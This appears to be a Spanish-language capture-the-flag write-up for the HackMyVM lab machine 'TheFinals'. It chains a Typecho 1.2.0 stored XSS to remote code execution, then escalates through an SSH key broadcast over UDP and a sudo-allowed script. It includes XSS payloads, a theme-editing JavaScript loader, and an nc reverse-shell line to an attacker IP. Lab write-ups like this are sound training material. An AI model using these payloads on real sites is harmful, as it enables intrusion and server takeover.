cd ~/blog

~/writeups/hmv/125-thefinals.md

125 - TheFinals

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Typecho 1.2.0 Stored XSS to RCESSH Private Key Disclosure mediante un broadcast UDPSudo-Allowed Program Abuse con Credential Disclosure y Reuse
hackmyvm.eu/machines/machine.php?vm=TheFinals

~2 min de lectura


Enumeración de servicios

El objetivo expone únicamente SSH y una aplicación web servida por Apache:

❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.7
...
22/tcp open  ssh     OpenSSH 9.9 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.62 ((Unix))
|_http-title: THE FINALS
...

Stored XSS en Typecho

La ruta /blog ejecuta Typecho 1.2.0. El campo website de los comentarios admite un payload de Stored XSS que queda almacenado hasta que un usuario privilegiado revisa el comentario. Primero comprobamos la inyección con un alert:

website: http://xxxxxx/"></a><script>alert(1)</script><a/href="#

Encadenamiento de Stored XSS a RCE

El navegador del administrador procesa el JavaScript dentro de su sesión autenticada. Servimos pwned.js, que carga el editor de temas en un iframe, conserva su contenido y envía el formulario después de insertar PHP en 404.php. La vulnerabilidad no ejecuta PHP por sí sola: utiliza los permisos del administrador para convertir una escritura autorizada del tema en RCE:

❯ cat pwned.js
function insertIframe() {
    ...
    var iframeAttributes = "<iframe id='theme_id' src='"+tSrc+"' ... onload='writeShell()'></iframe>";
    ...
}
function writeShell() {
    ...
    content.value = ('<?php phpinfo(); ?>\n') + oldData;
    btns[1].click();
    ...
}
insertIframe();

El segundo comentario carga el script desde nuestro servidor:

website: http://xxx.xxx.com/"></a><script/src=http://192.168.1.6:8000/pwned.js></script><a/href="#

Al sustituir la prueba phpinfo() por una reverse shell y solicitar el archivo modificado, obtenemos acceso como apache:

22 │ content.value = ('<?php exec("nc 192.168.1.6 1234 -e /bin/ash"); ?>\n') + oldData;

❯ ncat -nlvp 1234
id
Ncat: Connection from 192.168.1.7:36559.
uid=102(apache) gid=103(apache) groups=82(www-data),103(apache)

Clave SSH transmitida mediante UDP

Estabilizamos la shell y revisamos config.inc.php, que contiene credenciales de la base de datos. En /home/june también aparece un mensaje que destaca las palabras KEY y BROADCAST:

/home/june $ cat message.txt
Contestants, gear up and get ready! Who's got the KEY? Who's got the the guts?
                                                              --- This BROADCAST has been hacked by CNS

La pista conduce a un proceso de scotty que transmite datos por broadcast. Los archivos pertenecientes al usuario permiten localizar su registro:

/home/june $ find / -user scotty 2>/dev/null
...
/var/log/scotty-main.log
...

/home/june $ cat /var/log/scotty-main.log
...
Broadcast to eth0 192.168.1.7:1337
...

El registro identifica el puerto UDP 1337. Al escucharlo recibimos una cadena en Base64 que, una vez decodificada, corresponde a una clave privada SSH:

/home/june $ nc -uvlnp 1337
...
LS0tLS...0tLS0K

❯ echo 'LS0tLS...0tLS0K' | base64 -d
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----

Escalada mediante /sbin/secret

La clave permite entrar como scotty. La política de sudo autoriza ejecutar /sbin/secret como root sin contraseña, una condición de Sudo-Allowed Program Abuse cuyo impacto depende del comportamiento del script:

❯ ssh scotty@192.168.1.7 -i id_rsa_scotty
thefinals:~$

thefinals:~$ sudo -l
...
User scotty may run the following commands on thefinals:
    (ALL) NOPASSWD: /sbin/secret

El script espera escribir en /dev/pts/99, pero ese dispositivo todavía no existe. Cada llamada a pty.spawn() reserva una pseudo-terminal nueva; al mantener abiertas suficientes sesiones hacemos que el siguiente índice disponible alcance el esperado por el script:

thefinals:~$ sudo /sbin/secret
/sbin/secret: line 2: can't create /dev/pts/99: Permission denied

~ $ for i in $(seq 1 90); do python -c 'import pty; pty.spawn("/bin/ash")' & done

Con las pseudo-terminales previas ocupadas, una nueva ejecución de /sbin/secret puede usar /dev/pts/99 y revela la contraseña del usuario root de MariaDB:

thefinals:~$ sudo /sbin/secret
root:p8RuoQGTtlKLAjuF1Tpy5wX

La credencial pertenece a la base de datos, no a la cuenta root del sistema. La usamos para consultar secret, donde se almacena la segunda contraseña:

thefinals:~$ mysql -u root -p
...
MariaDB [secret]> select * from user;
+----+----------+-------------------------+
| id | username | password                |
+----+----------+-------------------------+
|  1 | root     | B*************K |
+----+----------+-------------------------+

La contraseña recuperada permite cambiar a root con su:

thefinals:~$ su root
Password:
/home/scotty # whoami
root

La salida existente de whoami confirma la escalada. Con este acceso damos por completada la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados